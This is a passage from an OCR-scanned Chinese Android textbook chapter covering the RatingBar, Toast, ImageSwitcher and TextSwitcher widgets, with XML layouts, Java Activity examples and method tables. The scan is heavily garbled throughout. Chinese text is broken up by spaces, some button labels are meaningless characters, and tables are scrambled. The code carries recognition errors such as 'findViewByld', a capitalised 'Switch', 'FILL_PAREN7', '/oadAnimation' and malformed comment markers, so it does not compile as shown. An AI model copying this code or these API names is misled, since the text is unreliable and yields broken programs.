android:drawable="@drawable/star_full"/> /将 star_full.png 作为 第 二 进度 条 图 片 

</layer-list> 


本 配置 文件 中 明确 定义 了 3 个 属性 的 内 容 。 

默认 的 背景 显示 图 片 : @+android:id/background。 

加 第 二 进度 条 的 显示 图 片 (未 选中 ) : @+android:id/secondaryProgress。 
回 ”第 一 进度 条 的 显示 图 片 (已 选中 ) : @+android:id/progress。 
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文件 名 称 没 有 限制 。 

在 定义 star conf file xml 文件 时 ， 文 件 名 称 可 以 任意 ， 而 后 在 布局 管理 文件 (main xml ) 中 
配置 RatingBar 组 件 时 ， 只 需要 在 style 上 填写 此 文件 中 的 style 元 素 的 name 属性 即 可 。 

另外 ， 对 于 程序 中 所 配置 的 第 二 进度 条 ， 将 在 第 9 章 中 讲解 ProgressBar 组 件 时 详细 讲 
解 ， 本 处 读者 只 需要 按照 给 出 的 文件 内 容 编写 即 可 。 


但 是 ， 要 想 使 用 图 片 显示 文件 ， 还 必须 在 values 文件 夹 中 为 评分 组 件 (Widget.RatingBar) 
配置 样式 ， 所 以 定义 一 个 values\style.xml 文件 进行 配置 。 
【 例 7-50】 图 片 描述 信息 


<?xml version="1.0" encoding="utf-8"?> 


<resources> /定义 资源 
<style /显示 风格 
name="myRatingBar Style” // 显 示 风 格 的 名 称 , 程序 中 使 用 
parent="@android:style/Widget. RatingBar”> // 定 义 使 用 此 样式 的 组 件 
<item name="android:progressDrawable"> // 进 度 条 的 显示 图 片 
@drawable/star_conf file</item> // 为 之 前 配置 的 风 片 显示 风格 
<item name="android:minHeight">53dip</item> // 图 片 的 最 小 高 度 
<item name="android:maxHeight">53dip</item> // 图 片 的 最 大 高 度 
</style> 
</resources> 


本 文件 的 主要 功能 就 是 配置 了 一 个 样式 (名 称 为 myRatingBarStyle， 为 以 后 布局 管理 器 使 
用 ) ， 此 样式 的 图 片 上 为 之 前 建立 的 start_conf file.xml 文件 。 

【 例 7-51】 在 main.xml 文件 中 定义 组 件 

<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout 

xmlins:android="http:/schemas.android.com/apKk/res/android" 

android:id="@+id/MyLayout” // 布 局 管理 器 ID 

android:orientation="vertica/" // 所 有 的 组 件 采 用 垂直 排列 形式 

android:layout_width="fill_parent” // 布 局 管理 器 的 宽度 为 屏幕 宽度 

android:layout_height="fill_parent’> // 布 局 管理 器 的 高 度 为 屏幕 高 度 

<RatingBar // 定 义 评分 组 件 
android:numStars="5" // 组 件 上 有 5 个 评分 点 
android:stepSize="1" /每 次 步 长 为 1 
android:isIndicator="false” // 用 户 可 以 操作 组 件 
android:id="@+id/ratingbar” // 此 组 件 IiD， 程 序 中 使 用 
style="@style/myRatingBarStyle” // 组 件 的 显示 样式 ， 为 values\styles.xml 定义 


android:layout_width="wrap_content" 1/ 组 件 宽度 为 显示 宽度 
android:layout_height="wrap_content"> // 组 件 高 度 为 显示 高 度 


<TextView // 定 义 文本 显示 组 件 
android:id="@+id/text”" /| 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_contenty> /| 组 件 高 度 为 屏幕 高 度 

</LinearLayout> 


本 程序 定义 了 一 个 评分 组 件 (RatingBar) 和 一 个 文本 显示 组 件 (TextView〉， 在 定义 评分 
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组 件 时 ， 所 采用 的 显示 样式 为 用 户 自 定 义 的 显示 形式 (style="@style/myRatingBarStyle") 。 
【 例 7-52】 定义 Activity 程序 ， 对 评分 组 件 的 操作 进行 监听 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.widget.RatingBar'; 
import android.widget. TextView; 
public class MyRatingBarDemo extends Activity { 


private RatingBar ratingBar = null; // 定 义 评分 组 件 
private TextView text = null; // 文 本 显示 组 件 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
this.ratingBar = (RatingBar) super findViewByld(R.id.ratingbar) ; 
this.ratingBar.setStepSize(1.0f) ; // 设 置 步 长 
this text = (TextView) super .findViewByld(R.id.text) ; // 取 得 组 件 
this.ratingBar.setOnRatingBarChangeListener( 
new OnRatingBarChangeListenerlmpl()); /设置 监听 
} 
private class OnRatingBarChangeListenerlImpl implements 
RatingBar.OnRatingBarChangeListener { 
@Override 
public void onRatingChanged(RatingBar ratingBar, float rating, 
boolean fromUser) { 


int num = (int) rating ; // 取 得 当前 值 
String result = null ; /定义 字符 串 保 存 结果 
Switch (num) { 
case 5: 
result = "非常 满意 ”; // 显 示 信 息 
break ; 
case 4: 
result = "满意 "; /显示 信息 
break ; 
case 3: 
result = "还 可 以 "; // 显 示 信 息 
break ; 
case 2: 
result = "不 满意 ”; // 显 示 信 息 
break ; 
case 1: 
result = "非常 不 满意 ”; // 显 示 信 息 
break ; 
} 
MyRatingBarDemo.this.text.setText(" 您 对 www.mldnjava.cn 的 网 站 满意 度 是 :" 
+ result); // 增 加 文本 显示 
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本 程序 首先 分 别 取 得 了 评分 组 件 (ratingbar) 
和 文本 显示 组 件 (text) ， 而 后 在 评分 组 件 上 增加 
了 一 个 评分 改变 的 监听 操作 (RatingBar. 
OnRatingBarChangeListener) , 每 次 修改 评分 的 分 
数 后 都 会 在 文本 显示 框 中 进行 记录 ， 并 且 会 根据 和 是 : 大 
ee 程序 的 运行 效 国 呈 了 2， 自 记 员 神 办 靖 科 各 直入 天 
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7.7 信息 提示 框 : Toast 


在 系统 中 , 通过 对 话 框 可 以 对 用 户 的 某 些 操作 进行 提示 , 在 Android 平台 中 还 提供 了 另外 一 
套 更 加 友好 的 提示 界面 效果 ， 而 且 这 种 界面 在 提示 用 户 时 不 会 打 断 用 户 的 正常 操作 ， 这 种 对 话 
框 可 以 通过 Toast 组 件 实现 。 

Toast 是 一 个 以 简单 提示 信息 为 主要 显示 操作 的 组 件 ， 在 Android 中 ，android.widget.Toast 
的 继承 结构 如 下 : 


java.lang.Object 


b android.widget.Toast 
Toast 类 中 的 常用 方法 及 常量 如 表 7-15 所 示 。 


表 7-15 Toast 类 中 的 常用 方法 及 常量 


No. 方法 及 常量 描述 

1 _|public static final int LENGTH LONG 显示 时 间 长 

2 |public static final int LENGTH_SHORT [| 显示 时 间 短 

3 |public Toast(Context context) 普通 ”| 创建 Toast 对 象 

a public static Toast makeText(Context context, int resId, int 普通 创建 下 Toast 对 象 ， 并 指定 显示 
duration) 文本 资源 的 ID 和 信息 的 显示 时 间 

public static Toast makeText(Context context CharSequence 普通 创建 一 个 Toast 对 象 ， 并 指定 显 

”|text int duration 示 文 本 资源 和 信息 的 显示 时 间 

6 _|public void show! 普通 显示 信息 

7_ | public void setDuration(int duration) 普通 | 设置 显示 的 时 间 

8_ |public void setView(View view) 普通 | 设置 显示 的 View 组 件 

9 |public void setText(int resId) 普通 “| 设置 显示 的 文字 资源 ID 

10 |public void setText(CharSequence S) 普通 直接 设置 要 显示 的 文字 

11 |public void setGravity(int gravity, int xOffset, int yOffset) 普 六 设置 组 件 的 对 齐 方 式 

12 |public View getViewO 普通 | 取得 内 部 包含 的 View 组 件 

13 |public int getXOffset0) 普通 “| 返回 组 件 的 和 坐标 位 置 

14 |public int getYOffset0) 普通 ”| 返回 组 件 的 Y 坐标 位 置 

15 |public void cancelO 普通 ”| 取消 显示 


- 般 创 建 此 类 对 象 都 会 直接 使 用 makeText0 方 法 完成 ， 这 样 只 需要 传 入 要 显示 的 文字 和 显 
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示 的 时 间 长 短 即 可 ， 而 时 间 长 短 由 Toast 类 定义 的 两 个 常量 : LENGTH LONG 和 LENGTH 


SHORT 决定 。 
【 例 7-53】 在 main .xml 文件 中 定义 组 件 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apK/res/android”" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID 
android:orientation="vertica/” // 所 有 组 件 垂直 排列 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<Button /定义 按钮 

android:id="@+id/butA” // 组 件 ID， 程 序 中 使 用 
android:text=" 龙 夺 困 时 元 Toast" // 默 认 显示 文字 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 
<Button // 定 义 按钮 
android:id="@+id/butB” // 组 件 ID， 程 序 中 使 用 
android:text= " 短 夺 加 时 元 Toast" // 默 认 显 示 文 字 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 
</LinearLayout> 


本 布局 管理 器 中 定义 了 两 个 按钮 ， 当 单 击 两 个 按钮 时 会 产生 两 种 不 同 的 Toast 提示 框 : 


提示 时 间 长 ， 一 个 提示 时 间 短 。 
【 例 7-54】 编写 Activity 程序 ， 显 示 Toast 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.widget.Button; 


import android.widget. Toast; 

public class MyToastDemo extends Activity { 
private Button butA = null ; // 定 义 按钮 组 件 
private Button butB = null ; // 定 义 按钮 组 件 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); /调用 布局 管理 器 
this.butA = (Button) super.findViewByld(R.id.butA) ; // 取 得 组 件 
this.butB = (Button) super.findViewByld(R.id.butB) ; // 取 得 组 件 


this.butA.setOnClickListener(new OnClickListenerImplShort()) ; // 设 置 事件 
this.butB.setOnClickListener(new OnClickListenerImplLong()) ; /设置 事件 
} 
private class OnClickListenerImplShort implements OnClickListener { ”// 单 击 事件 
@Override 
public void onClick(View arg0) { 
Toast.makeText(MyToastDemo.this, " 短 时 间 显示 的 Toast 信息 提示 框 ", 
Toast.LENGTH_SHORT).show(); /显示 Toast 
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} 

private class OnClickListenerImplLong implements OnClickListener { ”// 单 击 事件 
@Override 
public void onClick(View arg0) { 

Toast.makeText(MyToastDemo.this, "长 时 间 显示 的 Toast 信息 提示 框 "， 
Toast.LENGTH_LONG).show(); /显示 Toast 

} 

} 


bh 

本 程序 在 两 个 按钮 单 击 操作 事件 中 ， 直 接 利用 Toast 类 的 makeText() 方 法 创建 了 提示 框 ， 除 
了 显示 文字 之 外 ， 还 设置 了 duration 分 别 为 长 时 间 显 示 (LENGTH LONG ) 和 短 时 间 显 示 
(LENGTH SHORT) 。 程 序 的 运行 效果 如 图 7-33 所 示 。 


长 时 间 显 示 Toast 
短 时 间 显 示 Toast 


短 时 间 显示 的 Toast 信 息 提示 框 


图 7-33 显示 基本 的 Toast 提示 框 


以 上 显示 的 是 Toast 默认 风格 的 提示 框 ,该 提示 框 默 认 在 屏幕 底部 显示 ， 如果 需要 自 定 义 提 
示 框 的 位 置 ， 可 以 直接 利用 setGravity0 方 法 完成 ， 另外， 还 可 以 利用 addView() 方 法 在 提示 框 中 
加 入 显示 图 片 的 组 件 。 

【 例 7-55】 定义 main.xml 文件 ， 定 义 操作 的 按钮 

<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apK/res/android" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID 
android:orientation="vertica/” /所 有 组 件 垂 直 排列 
android:layout_width="fill_parent”" // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<Button /定义 按钮 

android:id="@+id/but” // 组 件 ID， 程 序 中 使 用 

android:text=" 刻 害 狠 忆 疹 秒 Toast 起 示 诅 " // 默 认 显示 文字 

android:layout_width="fill_ parent”" // 组 件 宽度 为 屏幕 宽度 

android:layout_height= "wrap_contenty> // 组 件 高 度 为 文字 高 度 
</LinearLayout> 


【 例 7-56】 定义 Activity 程序 ， 显 示 自 定义 风格 的 Toast 提示 框 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 


184 


第 7 章 Android 中 的 基本 控件 (下 ) 


import android.view.Gravity; 

import android.view.View; 

import android.view.View.OnClickListener; 

import android.widget.Button; 

import android.widget.ImageView: 

import android.widget.LinearLayout; 

import android.widget. Toast; 

public class MyToastDemo extends Activity { 
private Button but = null ; // 定 义 按钮 组 件 
@Override 
public void onCreate(Bundle savedInstanceState) { 

super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 管理 器 
this.but = (Button) super.findViewByld(R.id.bub ; // 取 得 组 件 
this.but.setOnClickListener(new OnClickListenerImpl()) ; /设置 事件 
} 
private class OnClickListenerImpl implements OnClickListener { ”// 单 击 事件 
@Override 
public void onClick(View view) { 
Toast myToast = Toast.make Text(MyToastDemo.this, " 魔 乐 科技 软件 学 院 ", 
Toast.LENGTH_LONG) ; // 创 建 Toast 
myToast.setGravity(Gravity.CENTER, 60, 30); /定义 对 齐 方式 及 位 置 
// 取 得 myToast 的 View 组 件 ， 之 后 在 此 组 件 中 继续 增加 图 片 ， 否 则 文字 无 法 显示 
LinearLayout myToastView = (LinearLayout) myToast.getView(); 
ImageView img = new ImageView(MyToastDemo.this); /图 片 组 件 
img.setlImageResource(R.drawable.pic_mldn) ; /显示 图 片 
myToastView.addView(img,0) ; // 添 加 组 件 ， 在 文字 上 方 
myToast.show() ; /显示 提示 信息 
} 
} 


} 

本 程序 在 按钮 单 击 事件 处 理 程序 中 进行 了 Toast 组 件 的 定义 ， 而 显示 的 位 置 由 setGravity0 
方法 所 指定 ， 之 后 向 显示 的 提示 信息 框 中 添加 了 一 个 图 片 组 件 ImageView。 程 序 的 运行 效果 如 
图 7-34 所 示 。 


自 定义 风格 的 Toast 提 示 框 


魔 乐 科技 软件 学 院 


图 7-34 自 定义 的 Toast 显示 框 
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提问 : 在 自 定 义 显示 组 件 时 ， 为 什么 不 直接 使 用 Toast 中 的 setView0 方 法 ? 


在 例 7-56 的 程序 中 ， 在 Toast 内 部 添加 图 片 显示 操作 的 代码 如 下 : 

LinearLayout myToastView = (LinearLayout) myToast.getView!(); 

ImageView img = new ImageView(MyView .this); 

img.setImageResource(R.drawable.pic_mldn) ; 

myToastView.addView(img,0) ; 

在 Toast 组件 中 明明 定义 了 setView0 方 法 , 为 什么 此 处 不 直接 使 用 setView( 方 法 设置 显示 
组 件 ,而 是 要 先 通过 getView() 方 法 取得 线性 布局 之 后 再 通过 LinearLayout 对 象 增加 显示 组 件 ? 

回答 : 如 果 直 接 使 用 setView0 方 法 则 只 会 有 图 片 显示 。 

Toast 中 的 setView() 方 法 表示 的 是 向 Toast 这 个 显示 的 容器 中 设置 一 个 新 的 View 组 件 ， 
如 果 现在 编写 如 下 代码 : 

ImageView img = new ImageView(MyView .this); 

img.setlImageResource(R.drawable.pic_mldn) ; 

myToast.setView(img) ; 

则 表示 直接 将 Toast 显示 框 中 的 全 部 组 件 替换 成 ImageView 进行 显示 ， 而 原本 的 提示 文 
字 就 完全 消失 了 ， 所 以 在 程序 的 编写 上 ， 才 会 先 通过 getView() 方 法 取得 原本 的 视图 组 件 

(LinearLayout) ， 之 后 再 利用 LinearLayout 中 的 addView() 方 法 将 一 个 新 的 图 片 组 件 插入 在 

显示 文字 之 前 ， 形 成 如 图 7-34 所 示 的 效果 。 


7.8 图 片 切换 : ImageSwitcher 


ImageSwitcher 组 件 的 主要 功能 是 完成 图 片 的 切换 显示 ， 例 如 用 户 在 进行 图 片 浏览 时 ， 可 以 

通过 单 击 按钮 逐 张 切换 显示 的 图 片 ， 而 且 使 用 ImageSwitcher 组 件 切 换 图 片 时 ， 还 可 以 为 其 增加 
- 些 动画 效果 。ImageSwitcher 类 定义 如 下 : 
java.lang.Object 
b android.view.View 
b android.view.ViewGroup 
b android.widget.FrameLayout 
b android.widget.ViewAnimator 


b, android.widget.ViewSwitcher 


b android.widget.ImageSwitcher 
通过 定义 可 以 发 现 ， 此 类 是 ViewSwitcher 类 的 子 类 ，ViewSwitcher 类 的 功能 是 专门 用 于 进 
行 显示 的 切换 操作 ， 在 ImageSwitcher 类 中 定义 的 常用 操作 方法 如 表 7-16 所 示 。 
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表 7-16 ImageSwitcher 类 的 常用 操作 方法 
No. 方法 
public ImageSwitcher(Context context) 


public void setFactory(ViewSwitcher. 
ViewFactory factory) 


描述 
创建 ImageSwitcher 对 象 
设置 ViewFactory 对 象 ， 用 于 完成 两 个 图 
片 切换 时 ViewSwitcher 的 转换 操作 
设置 显示 的 图 片 资 源 了 D 


3 public void setImageResource(int resid) 
public void setInAnimation(Animation 


4 A 图 片 读 取 进 ImageSwitcher 时 的 动画 效果 
5 publie woid setOutAnimation(Animation 图 片 从 ImageSwitcher 消失 时 的 动画 效果 
outAnimation) 
54 提示 
关于 Animation。 


Animation 是 Android 中 提供 的 动画 操作 程序 ， 相 关内 容 将 在 第 10 章 多 媒体 技术 部 分 进 
行 讲解 ， 但 是 考虑 到 知识 的 完整 性 ， 在 此 先 使 用 本 组 件 进行 操作 。 


在 使 用 ImageSwitcher 切换 图 片 时 ， 可 以 通过 Animation 指定 切换 图 片 时 的 动画 显示 效果 ， 
此 类 定义 如 下 : 
java.lang.Object 


b android.view.animation.Animation 
但 是 要 想 取 得 Animation 类 的 对 象 ， 还 需要 使 用 AnimationUtils 类 完成 ，AnimationUtils 类 
中 定义 的 主要 方法 如 表 7-17 所 示 。 
表 7-17 AnimationUtils 类 的 主要 方法 


在 使 用 loadAnimation() 方 法 创建 Animation 对 象 时 ,需要 指定 操作 的 资源 类 型 ， 这些 类 型 可 
以 直接 从 android.R 类 中 定义 的 常量 找 出 ， 本 次 程序 将 使 用 两 个 资源 常量 ， 如 表 7-18 所 示 。 


表 7-18 android.R 定义 的 动画 显示 效果 
No. 方法 


public static final int fade in 


描述 
进入 时 动画 显示 
离开 时 动画 显示 


1 
2 public static final int fade_out 


但 是 如 果 要 想 实现 图 片 的 切换 功能 ， 则 定义 的 Activity 类 还 必须 实现 ViewSwitcher. 
ViewFactory 接口 ， 以 指定 切换 视图 的 操作 工厂 ， 此 接口 定义 如 下 : 
public static interface ViewSwitcher.ViewFactory { 
jp 
* 创建 一 个 新 的 View 显示 ， 并 将 其 加 入 到 ViewSwitcher 中 
* @return 新 的 View 对象 
public abstract View makeView!() ; 
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本 接口 中 只 存在 一 个 makeView0 方 法 ， 此 方法 的 主要 功能 是 返回 一 个 View 对 象 的 若干 设 


置 参数 ， 如 果 要 显示 图 片 ， 则 可 以 使 用 ImageView0 返 回 ， 例如， 以 下 代码 就 是 在 makeView() 


中 指 


定 了 切换 的 图 片 显 示 的 若干 参数 来 进行 图 片 切换 操作 的 。 
private class ViewFactoryImpl implements ViewFactory { 
@Override 
public View makeView() { 
ImageView img = new ImageView(MylmageSwitcherDemo.this); /实例 化 图 片 显示 


img.setBackgroundColor(OxFFFFFFFF); // 设 置 背景 颜色 
img.setScaleType(ImageView.ScaleType.CENTER); // 居 中 显示 
img.setLayoutParams(new ImageSwitcher.LayoutParams( // 自 适应 图 片 大 小 

LayoutParams.FILL_PARENT, LayoutParams.FILL_PAREN7)); // 定 义 组 件 
return img; 


} 
} 
下 面 使 用 ImageSwitcher 完成 一 个 图 片 的 转换 功能 。 
【 例 7-57】 在 main.xml 文件 中 定义 组 件 
<?xml version= "1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:id="@+id/MyLayout”" // 布 局 管理 器 ID 
android:orientation="Vertica/" /所 有 组 件 垂直 排列 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ImageSwitcher /图片 切换 组 件 

android:id="@+id/mylmage Switcher” // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content”" // 组 件 宽度 为 显示 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 显示 高 度 
<LinearLayout // 内 赃 布 局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="horizontal” // 组 件 采用 水 平 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<Button /按钮 组 件 
android:id="@+id/butPrevious”" // 组 件 ID， 程 序 中 使 用 
android:text=" 上 一 泡 略 片 " // 默 认 显示 文字 
android:enabled="false” // 默 认为 不 可 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 
<Button // 按 钮 组 件 
android:id="@+id/butNext" // 组 件 ID， 程 序 中 使 用 
android:text=" 不 一文 导 片 " /默认 显示 文字 
android:enabled="%rue" // 默 认为 可 以 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 
</LinearLayout> 
</LinearLayout> 


本 布局 文件 定义 了 ImageSwitcher 组 件 , 随后 为 了 显示 方便 , 又 内 嵌 了 一 个 线性 布局 管理 器 ， 


并 让 两 个 按钮 水 平 摆 放 。 
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【 例 7-58】 定义 Activity 程序 ， 用 于 图 片 切换 显示 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.view.View; 

import android.view.View.OnClickListener; 

import android.view.animation.AnimationUtils; 

import android.widget.Button; 

import android.widget.ImageSwitcher; 

import android.widget.ImageView; 

import android.widget.LinearLayout.LayoutParams; 

import android.widget.ViewSwitcher.ViewFactory; 

public class MylImageSwitcherDemo extends Activity { 
private ImageSwitcher mylImageSwitcher = null; 
private Button butPrevious = null; 
private Button butNext = null; 
private int[] imgRes = new int[] { R.drawable.ispic_a, R.drawable.ispic_b, 


R.drawable.ispic_c, R.drawable.ispic_d, R.drawable.ispic_e}; 


private int foot = 0; 
@Override 
public void onCreate(Bundle savedInstanceState) { 


} 


super.onCreate(savedInstanceState); 

super.setContentView(R.layout.main); 

this.mylImageSwitcher = (ImageSwitcher) super 
.findViewByld(R.id.mylmage Switcher); 

this.butPrevious = (Button) super.findViewByld(R.id.butPrevious); 

this.butNext = (Button) super .findViewByld(R.id.butNext) ; 

this.mylImageSwitcher.setFactory(new ViewFactoryImpl()); 


// 图 片 切 换 
// 按 钮 组 件 
// 按 钮 组 件 


// 资 源 图 片 ID 
// 资 源 读 取 位 置 


// 调 用 布局 管理 器 


// 取 得 组 件 
// 取 得 组 件 
// 取 得 组 件 
/设置 转换 工厂 


this.mylImageSwitcher.setInAnimation(AnimationUtils./oadAnimation(this, 


android.R.anim.fade _in)); 


// 设 置 动画 


this.mylImageSwitcher.setOutAnimation(AnimationUtils./oadAnimation(this, 


android.R.anim.fade_out)); 
this.mylImageSwitcher.setlImageResource(imgRes[foot++]) ; 
this.butNext.setOnClickListener(new OnClickListenerNext()) ; 
this.butPrevious.setOnClickListener(new OnClickListenerPrevious()) ; 


private class OnClickListenerPrevious implements OnClickListener { 


} 


@Override 
public void onClick(View v) { 
MylmageSwitcherDemo.this.mylmageSwitcher 
.setlmageResource(imgRes[foot--]); 
MylmageSwitcherDemo.this.checkButEnable(); 


} 


private class OnClickListenerNext implements OnClickListener { 


@Override 
public void onClick(View v) { 
MylmageSwitcherDemo.this.mylmageSwitcher 
.SetlmageResource(imgRes[foot++]); 


/设置 动画 
// 设 置 图 片 
/设置 事件 
// 设 置 事件 


/修改 显示 图 片 
/设置 按钮 状态 


/修改 显示 图 片 
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MylmageSwitcherDemo.this.checkButEnable(); /设置 按钮 状态 
} 
} 
public void checkButEnable() { /设置 按钮 状态 
if (this.foot < this.imgRes.length - 1){ 
this.butNext.setEnabled(true); /按钮 可 用 
}else{ 
this.butNext.setEnabled(false); // 按 钮 不 可 用 
1 
if (this foot == 0) { 
this.butPrevious.setEnabled(false); /按钮 不 可 用 
}else{ 
this.butPrevious.setEnabled(true); /按钮 可 用 
} 
Y 
private class ViewFactoryImpl implements ViewFactory { 
@Override 
public View makeView!() { 
ImageView img = new ImageView(MylImageSwitcherDemo.this); // 实 例 化 图 片 显 示 
img.setBackgroundColor(0xFFFFFFFF); /设置 背景 颜色 
img.setScaleType(ImageView.ScaleType.CENTER); /居中 显示 
img.setLayoutParams(new ImageSwitcher.LayoutParams(  ”// 自 适应 图 片 大 小 
LayoutParams.FILL_PARENT, LayoutParams.FILL_PAREN7));// 定 义 组 件 
return img; 
b 
} 


} 

由 于 本 程序 要 实现 图 片 切换 的 功能 , 所 以 专门 定义 了 一 个 实现 ViewSwitcher.ViewFactory 接 
口 的 内 部 类 ViewFactoryImpl， 以 指定 图 片 切换 的 操作 。 在 程序 中 为 了 方便 图 片 的 显示 ， 首 先 定 
义 了 一 个 imgRes 整 型 数组 ， 在 此 数组 中 ， 将 所 有 要 显示 的 图 片 的 资源 ID 进行 了 定义 ， 并 通过 
ImageSwitcher 类 中 的 setImageResource() 方 法 指定 了 一 个 默认 的 显示 图 片 。setInAnimation() 和 
setOutAnimation() 方 法 的 主要 功能 是 设置 切换 图 片 
前 后 的 动画 显示 效果 ， 当 单 击 按钮 时 ， 会 根据 不 同 
的 按钮 触发 不 同 的 单 击 事件 处 理 程序 ， 以 达到 图 片 
的 切换 效果 ， 但 是 为 了 防止 出 现 数组 越界 的 问题 ， 
所 以 增加 了 一 个 checkButEnable() 方 法 ， 以 判断 图 片 
切换 后 按钮 是 否 可 以 继续 使 用 。 程 序 的 运行 效果 如 
图 7-35 所 示 。 图 7-35 切换 图 片 


《和 注意 

不 设置 setFactory0 方 法 会 出 现 NullPointerException 错误 。 

由 于 图 片 切换 操作 需要 ViewSwitcher.ViewFactory 接口 的 支持 ， 所 以 在 进行 图 片 切换 之 前 
必须 调用 setFactory0 方 法 ， 和 否则 当 调 用 setImageResource() 方 法 设置 显示 图 片 时 将 出 现 
NullPointerException 错误 。 
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“了 /提示 


也 可 以 不 指定 图 片 切换 时 的 动画 效果 。 
本 程序 在 图 片 切换 时 通过 以 下 方法 指定 了 图 片 切换 时 的 动画 效果 : 


this.imgsw.setInAnimation(AnimationUtils./oadAnimation(this, 


android.R.anim.fade _in)); /设置 动画 
this.imgsw.setOutAnimation(AnimationUtils./oadAnimation(this, 
android.R.anim.fade_out)); // 设 置 动画 


读者 可 以 尝试 将 以 上 代码 注释 掉 之 后 再 运行 ， 会 发 现 图 片 切换 时 的 效果 较 生 硬 。 


7.9 文本 切换 : TextSwitcher 


ViewSwitcher 是 ImageSwitcher 的 父 类 ， 在 ViewSwitcher 类 中 还 存在 着 TextSwitcher 子 类 ， 
该 类 的 主要 功能 是 完成 文本 切换 显示 。 

与 ImageSwitcher 类 的 使 用 一 样 ， 在 使 用 TextSwitcher 类 时 依然 需要 通过 ViewSwitcher. 
ViewFactory 指定 切换 操作 的 设置 。 在 TextSwitcher 类 中 定义 的 常用 方法 如 表 7-19 所 示 。 


表 7-19 TextSwitcher 类 的 常用 方法 


No 描述 
1 public TextSwitcher(Context context 创建 TextSwitcher 类 的 对 象 
2 public void setText(CharSequence text 设置 显示 文字 


下 面 使 用 TextSwitcher 完成 一 个 文本 的 切换 功能 ， 当 切换 文字 时 ， 将 显示 当前 的 系统 时 间 。 


【 例 7-59】 在 main.xml 文件 中 定义 组 件 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID 
android:orientation="Vertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TextSwitcher /文本 切换 组 件 

android:id="@+id/myTextSwitcher” // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content" // 组 件 宽度 为 文字 宽度 
android:layout_height= "wrap_contenty> // 组 件 高 度 为 文字 高 度 
<Button /按钮 组 件 
android:id="@+id/but” // 组 件 iD， 程序 中 使 用 
android:text=" 凶 示 涩 万 8y/ 了 " // 组 件 默 认 显 示 文 字 
android:layout_ width="wrap_content" // 组 件 宽度 为 文字 宽度 
android:layout_height= "wrap_contenty> // 组 件 高 度 为 文字 高 度 
</LinearLayout> 


在 本 布局 管理 器 中 定义 了 一 个 TextSwitcher 组 件 和 一 个 按钮 组 件 , 当 单 击 按钮 时 , 会 在 文本 
切换 组 件 上 显示 当前 的 系统 时 间 。 
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【 例 7-60】 定义 Activity 程序 
package org.Ixh.demo; 
import java.text.SimpleDateFormat; 
import java.util.Date; 
import android.app.Activity; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.view.animation.AnimationUtils; 
import android.widget.Button; 
import android.widget.LinearLayout.LayoutParams; 
import android.widget. TextSwitcher; 
import android.widget.TextView; 
import android.widget.ViewSwitcher.ViewFactory; 
public class MyTextSwitcherDemo extends Activity { 


private TextSwitcher txtsw = null; /文本 切换 组 件 
private Button but = null; /按钮 组 件 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 管理 器 
this txtsw = (TextSwitcher) super.findViewByld(R.id.myTextSwitchen) ; 
this.but = (Button) super.findViewByld(R.id.bub) ; // 取 得 组 件 
this .txtsw.setFactory(new ViewFactorylImpl()); // 设 置 转换 工厂 
this.txtsw.setInAnimation(AnimationUtils./oadAnimation(this, 
android.R.anim.fade _in)); // 设 置 动画 
this .txtsw.setOutAnimation(AnimationUtils./oadAnimation(this, 
android.R.anim.fade_out)); // 设 置 动画 
this.but.setOnClickListener(new OnClickListenerImpl()) ; /定义 监听 
} 
